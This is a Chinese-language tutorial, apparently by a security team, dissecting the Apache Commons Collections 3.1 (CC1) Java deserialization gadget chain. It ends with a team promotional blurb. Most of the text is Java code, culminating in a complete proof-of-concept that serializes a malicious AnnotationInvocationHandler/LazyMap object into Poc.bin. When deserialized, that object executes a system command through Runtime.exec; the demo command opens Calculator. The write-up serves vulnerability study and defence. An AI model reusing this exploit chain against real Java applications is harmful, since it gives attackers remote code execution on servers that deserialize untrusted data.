
環境
JDK1.7Idea 2020.1Apache CommonCollections V3.1Idea默認版本Maven
Gadget Chains
將Gadget Chains分片分析,「=」下為迭代鏈,「=」上為利用鏈。
ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get()==================================================================== ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()Gadget Chains 1(迭代鏈)
將迭代鏈再分片,「=」下為其具體實現,「=」為其前置條件。
ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() =================================================================== Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()具體實現InvokerTransformer
InvokerTransformer#transform方法通過反射調用構造方法中傳入的方法。

據InvokerTransformer類的構造方法和transform方法源碼,可給出具體實現部分代碼,「=」下為transform方法注釋。
Runtime rt = Runtime.getRuntime();InvokerTransformer transformer = InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/lixq/Desktop/1.txt"});transformer.transform(rt);======================================================//Runtime rt = Runtime.getRuntime();//Class clazz = rt.getClass();//Method method = clazz.getMethod("exec",String.class);//method.invoke(rt,"open /Users/lixq/Desktop/1.txt");前置條件ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime()
通過給出的Gadget Chains 1可知前置部分通過多次transform方法執行Runtime.getRuntime方法獲取Runtime實例,由下而上逆推可得到前置部分實現代碼。由於Runtime類未繼承Serializable故其不能直接反序列化,需要通過反射來一步步獲取一個Runtime實例。為便於理解,下面先給出具體邏輯實現代碼。
Class clazz = Class.forName("java.lang.Runtime");Class clsClazz = clazz.getClass();Method m1 = clsClazz.getMethod("getMethod", String.class, Class[].class);Object o1 = m1.invoke(clazz,new Object[]{"getRuntime",new Class[0]});Method m2 = m1.getClass().getMethod("invoke", Object.class, Object[].class);Object o2 = m2.invoke(o1,new Object[]{null,null});System.out.println(o1);System.out.println(o2);
使用Transformer迭代鏈實現之,具體如下。
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);Object clsObj = constantTransformer.transform(1);InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} );Object getMethodObj = invokerTransformer1.transform(clsObj);System.out.println(getMethodObj);InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});Object getRuntimeObj = invokerTransformer2.transform(getMethodObj);System.out.println(getRuntimeObj);
逐語句分析,ConstantTransformer#transformer會返回傳入對象本身即Runtime的類對象。

invokerTransformer1.transform返回Runtime.getRuntime方法的Method對象。

invokerTransformer2.transform通過反射調用Method.invoke方法即調用getRumtime這個Method對象invoke方法返回一個Runtime對象。

迭代鏈實現
迭代鏈中用到的三個tranform方法:1.InvokerTransformer.transform():在具體實現中已經給出其實現方法。2.ConstanTransformer.transform():返回傳入對象本身,在前置條件中已給出其實現方法。3.ChainedTransformer.transform():此方法實現了對每個傳入的transformer都調用其transform方法,並將結果作為下一次的輸入傳遞進去。

綜合前置條件和具體實現迭代鏈的最終實現代碼和執行結果。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "}) });chainedTransformer.transform(1);
Gadget Chains 2(利用鏈)ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get()
由後至前分析,LazyMap.get():當傳入的key不存在時執行this.factory.transform,若此時傳入的this.factory為構造好的迭代鏈chainedTransformer則可執行系統命令。

由於LazyMap的構造方法使用protected修飾,故無法直接new一個LazyMap的實例對象,但其提供了decorate方法來實例化一個LazyMap對象。

此時可完成構造利用鏈的第一步,如下。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "}) });chainedTransformer.transform(1);Hashmap map = new HashMap();LazyMap lazyMap = LazyMap.decorate(map,chainedTransformer);lazyMap.get(1);
繼而向上,AnnotationInvocationHandler implements自InvocationHandler和Serializable是處理註解的類,構造該類需要提供兩個參數,一個是Annotation類,一個是Map對象,此類未使用public修飾只能通過反射創建實例。

AnnotationInvocationHandler.invoke:關注代碼注釋部分,它執行了this.memberValues.get(var4),this.membrtValues等於構造方法中的var2也就是當構造方法中傳入的var2為LazyMap對象時會執行LazyMap.get方法。
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } }// default:// Object var6 = this.memberValues.get(var4);通過動態代理來實現對AnnotationInvocationHandler.invoke方法的調用,先給出代理對象的生成方法注釋。
Proxy.newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h);//Proxy類就是用來創建一個代理對象的類,它提供了很多方法,但最常用的是newProxyInstance方法。//InvocationHandler接口是proxy代理實例的調用處理程序實現的一個接口,每一個proxy代理實例都有一個關聯的調用處理程序;//在代理實例調用方法時,方法調用被分派到調用處理程序的invoke方法。//其相當於一種代碼增強,即在原先的方法邏輯上加上額外操作,在方法執行之前和之後加點通用邏輯,方便實現和維護。先看下
AnnotationInvocationHandler.readObject()方法實現,this.memberValues是其構造方法中傳入的Map對象,當其是一個代理Map對象並執行this.memberValues.entrySet().iterator()時會調用memberValues對應InvocationHandler對象的invoke方法。

綜上,可給出利用鏈實現代碼。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));objectOutputStream.writeObject(handler);objectOutputStream.close();POCimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;class CC1 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { //構造迭代鏈 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "}) }); 構造利用鏈 HashMap map = new HashMap(); map.put("11","22"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap); //序列化 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin")); objectOutputStream.writeObject(handler); objectOutputStream.close(); //反序列化 ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Poc.bin")); inputStream.readObject(); }}

總結下CommonCollections1 反序列化執行惡意代碼過程:通過動態代理調用
AnnotationInvocationHandler.invoke(),AnnotationInvocationHandler對象構造時傳入LazyMap,在調用其invoke方法時會執行LazyMap.get(),構造LazyMap對象時傳入構造好的迭代鏈,執行LazyMap.get()時調用ChianedTransformer.transform(),最終執行系統命令。
Tide安全團隊正式成立於2019年1月,是新潮信息旗下以互聯網攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網絡攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。
團隊作為「省級等保關鍵技術實驗室」先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室,近三年來在網絡安全技術方面開展研發項目60餘項,獲得各類自主知識產權30餘項,省市級科技項目立項20餘項,研究成果應用於產品核心技術研究、國家重點科技項目攻關、專業安全服務等。對安全感興趣的小夥伴可以加入或關注我們。